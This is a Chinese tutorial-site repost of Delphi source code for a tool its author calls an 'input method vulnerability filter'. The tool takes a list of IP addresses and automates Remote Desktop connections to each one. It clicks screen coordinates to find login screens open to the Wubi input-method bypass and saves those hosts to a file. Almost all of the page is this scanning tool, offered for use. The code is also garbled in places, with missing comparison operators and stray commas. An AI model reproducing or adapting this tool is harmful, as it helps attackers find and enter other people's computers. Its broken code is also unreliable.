利用极品五笔刷QB程序原代码

2016-02-19 20:48 214 1 收藏

下面是个简单易学的利用极品五笔刷QB程序原代码教程,图老师小编详细图解介绍包你轻松学会,喜欢的朋友赶紧get起来吧!

【 tulaoshi.com - 编程语言 】

//----------------------------------------------------------
  //         输入发漏洞程序1.0
  file://----------------------------------------------------------
  
  unit pApp;
  
  interface
  
  uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls;
  file://定义键盘动作类
  type
    TKAction = (CTAB, TAB_F4, ENTER, ALT_U);
  type
  TfrmMain = class(TForm)
    OpenDlg: TOpenDialog;
    Panel1: TPanel;
    btnOpen: TButton;
    ProgressBar1: TProgressBar;
    btnStop: TButton;
    btnPause: TButton;
    btnSetting: TButton;
    btnAbout: TButton;
    GroupBox1: TGroupBox;
    btnStart: TButton;
    timLoop: TTimer;
    GroupBox3: TGroupBox;
    TrackBar1: TTrackBar;
    Label3: TLabel;
    edtAppPath: TEdit;
    btnAppPath: TButton;
    edtSavePath: TEdit;
    btnSavePath: TButton;
    Label4: TLabel;
    Label5: TLabel;
    chkAutoEnd: TCheckBox;
    GroupBox2: TGroupBox;
    Image1: TImage;
    Label1: TLabel;
    Label2: TLabel;
    btnHelp: TButton;
    chkAutoIPText: TCheckBox;
    timWait: TTimer;
    SaveDlg: TSaveDialog;
    OpenAppDlg: TOpenDialog;
    memIP: TMemo;
    lblWeb: TLabel;
    timKeyAction: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure btnSettingClick(Sender: TObject);
    procedure btnAboutClick(Sender: TObject);
    procedure btnOpenClick(Sender: TObject);
    procedure btnStartClick(Sender: TObject);
    procedure timLoopTimer(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
    procedure btnStopClick(Sender: TObject);
    procedure timWaitTimer(Sender: TObject);
    procedure timKeyActionTimer(Sender: TObject);
  private
    function GetSysDir: String;
   
    function Get_Remote_Hwnd: HWND;
    function Get_IPBox_Hwnd: THandle;
    function Get_ConnectHwnd: HWND;
    procedure Set_IPText(IPbox: THandle; IP: String);
    function GetCloseHwnd: HWND;
    function Get_IntermitFrmHwnd(Name: String): HWND;
    procedure ReadIPFiles(Line: Integer);
    procedure ReadTomemIP(IPPath: String);
    function Get_EnterBox: HWND;
    procedure SendKeyboard(KA: TKAction);
    procedure Sendmose(a, x, y: Integer);
    function GetColor(x, y: Integer): Integer;
    procedure WriteIP(s, FileName: String);
    procedure CreateIPFile(FileName: String);
    { Private declarations }
  public
    { Public declarations }
  end;
  
  var
  frmMain: TfrmMain;
  Waittime, I: Integer;   file://声明等待时间&累加变量
  Howline: Integer;       file://声明总行数
  K: Integer;           file://声明行数累加变量
  IPFilePath: String;     file://导入IP文件路径
  Str: String;
  hEnterBox: HWND;       file://定义登陆筐句柄
  KeyTime: Integer;       file://定义模拟键盘累加值
  WIP: String;         file://定义纪录写入的IP是否相同
  implementation
  
  {$R *.dfm}
  
  procedure TfrmMain.FormCreate(Sender: TObject);
  begin
  file://初始化属性
    frmMain.Font.Name := '宋体';
    frmMain.Font.Size := 9;
    frmMain.Caption := '输入法漏洞过滤程序[中国起点网络安全小组]';
    btnOpen.Caption := '导入IP';
    btnStart.Caption := '开始';
    btnPause.Caption := '暂停';
    btnStop.Caption := '停止';
    btnSetting.Caption := '设置';
    btnAbout.Caption := '关于';
    frmMain.ClientWidth := 409;
    frmMain.ClientHeight := 95;
    GroupBox1.Visible := False;
    GroupBox2.Visible := False;
    Label1.Caption := '输入法漏洞过滤1.0' + #13 +
                '版权:Hack太子 所有' + #13 +
                'QQ:78730710' + #13 +
                'QQ:2711997';
    btnStart.Enabled := False;
    btnStop.Enabled := False;
    btnPause.Enabled := False;
    Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
    Waittime := TrackBar1.Position; file://初始化等待时间值
  end;
  
  procedure TfrmMain.btnSettingClick(Sender: TObject);
  begin
    if btnSetting.Caption = '设置' then
    begin
      btnSetting.Caption := '隐藏';
      frmMain.ClientHeight := 223;
      GroupBox2.Visible := False;
      GroupBox1.Visible := True
    end else
    begin
      btnSetting.Caption := '设置';
      GroupBox1.Visible := False;
      frmMain.ClientHeight := 95;
    end;
  end;
  
  procedure TfrmMain.btnAboutClick(Sender: TObject);
  begin
    ShowMessage(IntToStr(Get_Enterbox));
    ShowMessage(str);
    if btnAbout.Caption = '关于' then
    begin
      btnAbout.Caption := '隐藏';
      FrmMain.ClientHeight := 223;
      GroupBox1.Visible := False;
      GroupBox2.Visible := True;
    end else
    begin
      btnAbout.Caption := '关于';
      GroupBox2.Visible := False;
      FrmMain.ClientHeight := 95;
    end;
  end;
  
  file://单击打开按钮执行以下部分
  procedure TfrmMain.btnOpenClick(Sender: TObject);
  begin
    if OpenDlg.Execute then
    begin
      IPFilePath := OpenDlg.FileName;
    end;
    if IPFilePath = '' then
      Exit
    else
    begin
      btnStart.Enabled := True;
    end;
  
  
  
  
  
  
  
  end;
  file://获取系统所在目录
  function TfrmMain.GetSysDir: String;
  var
    SysDir: PChar;
  begin
    GetMem(SysDir, MAX_PATH);
    GetSystemDirectory(SysDir, MAX_PATH);
    Result := StrPas(SysDir);
    FreeMem(SysDir, MAX_PATH);
  end;
  file://获取远程桌面程序窗口句柄
  function TfrmMain.Get_Remote_Hwnd: HWND;
  var
    RHwnd: HWND;
  begin
    RHwnd := FindWindow('#32770', '远程桌面连接');
    if RHwnd  0 then
      Result := RHwnd
    else
      Result := 0;
  end;
  file://获取IP输入筐句柄
  function TfrmMain.Get_IPBox_Hwnd: THandle;
  var
    IPBoxHwnd: THandle;
  begin
    IPBoxHwnd := FindWindowEx(
              Get_Remote_Hwnd,
              0,
              'ComboBoxEx32',
              nil
              );
    if IPBoxHwnd  0 then
      Result := IPBoxHwnd
    else
      Result := IPBoxHwnd;
  end;
  file://向IP地址输入筐中发送IP地址字符串
  procedure TfrmMain.Set_IPText(IPbox: THandle; IP: String);
  var
    IPText: PChar;
    IPBuf: Integer;
  begin
    GetMem(IPText, Length(IP));
    StrCopy(IPText, PChar(IP));
    try
      IPBuf := LongInt(IPText);
      SendMessage(
          IPbox,
          WM_SETTEXT,
          0,
          IPBuf
          );
    finally
      FreeMem(IPText, Length(IP));
    end;
  end;
  file://获取连接按钮句柄
  function TfrmMain.Get_ConnectHwnd: HWND;
  var
    BtnHwnd: HWND;
  begin
    BtnHwnd := FindWindowEx(
              Get_Remote_Hwnd,
              0,
              'Button',
              '连接(&N)'
              );
    if BtnHwnd  0 then
      Result := BtnHwnd
    else
      Result := 0;
  end;
  file://获取取消按钮句柄
  function TfrmMain.GetCloseHwnd: HWND;
  var
    BtnClose: HWND;
  begin
    BtnClose := FindWindowEx(
              Get_Remote_Hwnd,
              0,
              'Button',
              '取消',
              );
    if BtnClose  0 then
      Result := BtnClose
    else
      Result := 0;
  end;
  file://获取中断网络连接窗口句柄&该窗口确认按钮句柄
  function TfrmMain.Get_IntermitFrmHwnd(Name: String): HWND;
  var
    FrmHwnd: HWND;
    BtnHwnd: HWND;
  begin
    if (Name = 'F') or (Name = 'f') then
    begin
      FrmHwnd := FindWindow('#32770', '中断远程桌面连接');
      if FrmHwnd  0 then
          Result := FrmHwnd
      else
          Result := 0;
    end;
    if (Name = 'B') or (Name = 'b') then
    begin
      BtnHwnd := FindWindowEx(
                  FindWindow('#32770', '中断远程桌面连接'),
                  0,
                  'Button',
                  '确定',
                  );
      if BtnHwnd  0 then
          Result := BtnHwnd
      else
          Result := BtnHwnd;
    end;
  end;
  file://把IP文件读入Memo控件
  procedure TfrmMain.ReadTomemIP(IPPath: String);
  var
    TF: TextFile;
    IPStr: String;
  begin
    memIP.Clear;
    if FileExists(IPPath) then
    begin
      AssignFile(TF, IPPath);
      Reset(TF);
      while not Eof(TF) do
      begin
          Readln(TF, IPStr);
          memIP.Lines.Add(IPStr);
      end;
      CloseFile(TF);
    end else
    begin
      ShowMessage('请导入IP文件');
    end;
  
  end;
  
  
  
  
  
  file://读入Memo中IP并连接
  procedure TfrmMain.ReadIPFiles(Line: Integer);
  begin
    Howline := memIP.Lines.Count;
    if Line = (Howline - 1) then
    begin
      Str := memIP.Lines.Strings[Line];
          Set_IPText(Get_IPBox_Hwnd, Str);
          SendMessage(
            Get_ConnectHwnd,
            WM_LBUTTONDOWN,
            MK_LBUTTON,
            0
            );
          SendMessage(
            Get_ConnectHwnd,
            WM_LBUTTONUP,
            0,
            0
            );
    end else
    begin
      timWait.Enabled := False;
      timLoop.Enabled := False;
      MessageBox(
          frmMain.Handle,
          'IP已经全部过滤',
            '输入法漏洞过滤程序',
          MB_OK + MB_ICONINFORMATION
          );
    end;
  end;
  
  file://取得登陆窗口句柄
  function TfrmMain.Get_EnterBox: HWND;
  var
    Ebox: HWND;
    sIP: String;
  begin
    sIP := Str + ' - 远程桌面';
    Ebox := FindWindow('TSSHELLWND', PChar(sIP));
    if Ebox  0 then
      Result := Ebox
    else
      Result := 0;
  end;
  file://写入过滤后的IP
  procedure TfrmMain.WriteIP(s, FileName: String);
  var
    TF: TextFile;
    IP: String;
  begin
    WIP := s;
    if FileExists(FileName) then
    begin
      if s  WIP then
      begin
          AssignFile(TF, FileName );
          Append(TF);
          Writeln(TF, s);
          CloseFile(TF);
      end;
    end;
  end;file://创建保存过滤后IP的文件
  procedure TfrmMain.CreateIPFile(FileName: String);
  var
    fHwnd: Integer;
    TF: TextFile;
  begin
    if not FileExists(FileName) then
    begin
      fHwnd := FileCreate(FileName);
      FileClose(fHwnd);
      AssignFile(TF, FileName);
      Append(TF);
      Writeln(TF, '过滤过的IP:');
      CloseFile(TF);
    end;
  end;
  
  
  
  file://单击开始按钮以下部分
  procedure TfrmMain.btnStartClick(Sender: TObject);
  begin
    WinExec(PChar(GetSysDir + 'mstsc.exe'), SW_SHOWNORMAL);
    ReadTomemIP(IPFilePath);
    timLoop.Enabled := True;
    timWait.Enabled := True;
    btnStart.Enabled := False;
    btnStop.Enabled := True;
    btnPause.Enabled := True;
    CloseWindow(frmMain.Handle);
  end;
  file://取得指定坐标颜色
  function TfrmMain.GetColor(x, y: Integer): Integer;
  var
    WindowDC: THandle;
    Color: Integer;
  begin
    WindowDC := GetDC(0);
    Color := GetPixel(WindowDC, x, y);
    Result := Color;
  end;
  
  procedure TfrmMain.SendKeyboard(KA: TKAction);
  begin
    if KA = CTAB then
    begin
      Keybd_event(VK_TAB, 0, 0, 0);
      Keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
    end;
  end;
  
  procedure TfrmMain.Sendmose(a, x, y: Integer);
  begin
    if a = 1 then
    begin
      SetCursorPos(x, y);
      mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
      mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    end;
    if a = 2 then
    begin
      SetCursorPos(x, y);
      mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
      mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    end;
  end;
  
  
  
  
  
  procedure TfrmMain.timLoopTimer(Sender: TObject);
  begin
    if Get_IntermitFrmHwnd('F')  0 then
    begin
      SendMessage(
          Get_IntermitFrmHwnd('B'),
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
      SendMessage(
          Get_IntermitFrmHwnd('B'),
          WM_LBUTTONUP,
          0,
          0
          );
      I := 0;
    end;
    if Get_EnterBox  0 then
    begin
      hEnterBox := Get_EnterBox;
      timWait.Enabled := false;
      if (TimKeyAction.Enabled  True) then timKeyAction.Enabled := True;
    end;
    if (Get_EnterBox  0) and (Get_EnterBox  hEnterBox) then
    begin
          timWait.Enabled := false;
    end;
    if GetColor(186, 570) = 16777215 then
    begin
      Sendmose(1, 1009, 10);
      Sendmose(1, 735, 13);
      CreateIPFile('c:MyIP.txt');
      WriteIP(Str, 'c:MyIP.txt');
      Sleep(10);
    end;
  
  
   
  
  end;
  
  procedure TfrmMain.TrackBar1Change(Sender: TObject);
  begin
    Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
    Waittime := TrackBar1.Position;
  end;
  
  procedure TfrmMain.btnStopClick(Sender: TObject);
  begin
    timLoop.Enabled := False;
    timWait.Enabled := False;
    Str := '';
    I := 0;
    K := 0;
    IPFilePath := '';
    Howline := 0;
    btnStop.Enabled := False;
    btnPause.Enabled := False;
    btnStart.Enabled := False;
    btnOpen.Enabled := True;
  end;
  
  
  
  procedure TfrmMain.timWaitTimer(Sender: TObject);
  begin
    Inc(I);
    if I = Waittime then
    begin
      SendMessage(
          GetCloseHwnd,
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
      SendMessage(
          GetCloseHwnd,
          WM_LBUTTONUP,
          0,
          0
          );
      I := 0;
    end;
    if I = 1 then
    begin
      Inc(K);
      ReadIPFiles((K - 1));
    end;
  end;
  
  procedure TfrmMain.timKeyActionTimer(Sender: TObject);
  begin
    Inc(KeyTime);
    case KeyTime of
      1: Sendmose(1, 495, 328);
      2: Sendmose(2, 57, 753);
      3: Sendmose(1, 54, 650);
      4: Sendmose(1, 150, 652);
      5: KeyTime := 0;
    end;
  end;

  end.
  

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

来源:http://www.tulaoshi.com/n/20160219/1624567.html

延伸阅读
标签: 五笔打字
关于五笔打字 五笔打字 是一种汉字输入法,其实很简单,但是你必须记住字根,才能够绰绰有余的去练习你的熟练程度。五笔相比于拼音输入法具有低重码率的特点,熟练后可快速输入汉字。 五笔是五笔字型输入法的简称。是目前中国以及一些东南亚的国家,如新加坡、马来西亚等国,最常用的一种汉字输入法之一,发明人王永民。学名:&qu...
标签: 五笔打字
横区口诀 G: 王旁青头戋(兼)五一 F: 土士二干十寸雨 D: 大犬三羊(羊)古石厂 S: 木丁西 A: 工戈草头右框七 竖区口诀 H: 目具上止卜虎皮 J: 日早两竖与虫依 K: 口与川,字根稀 L: 田甲方框四车力 M: 山由贝,下框几 撇区口诀 T: 禾竹一撇双人立,反文条头共三一 R: 白手看头三二斤 E: 月彡(...
标签: 五笔打字
五笔打字的技巧 准确 在前面的章节中我们反复说打字是一种技能,并不是所有的人都可以达到飞速击键的状态,一个打字高手也不可能在历次比赛中都发挥得同样出色。对于大部分人来说,达到每分钟200击的速度不是高不可攀, 但是将错率控制在3‰就会淘汰大部分人。所以要强调提高速度应建立在准确的基础上,急于求成欲速则不达。 ...
1.1 汉字的构成 中国人常说: 木子 --- 李, 日月 --- 明,可见方块汉字是由较小的块组成的,这些小块如:木、子、日、  月等,我们把它们叫五笔字根,五笔输入法的五笔字根有120多个,它们分布在键盘的25个键上,如木在S键,  子在B键,所以李字的编码就是SB。,您只要击打键盘S B两键再按空格就可打出李字,同理日在J键,  ...
学习五笔,主要先理解几个概念: 〈五笔〉:为什么什么叫〈五笔〉,因为汉字都是有基础的五种笔划组成的:横〈一〉竖〈|〉撇〈ノ〉捺〈、〉折く㐅レ〉,设计者就按照五种笔划,把键盘分成了五个区,分别放置第一划不同的——字根! 五区: ASDFG【横区】〈一〉:放第一笔是横的字根,...

经验教程

42

收藏

90
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部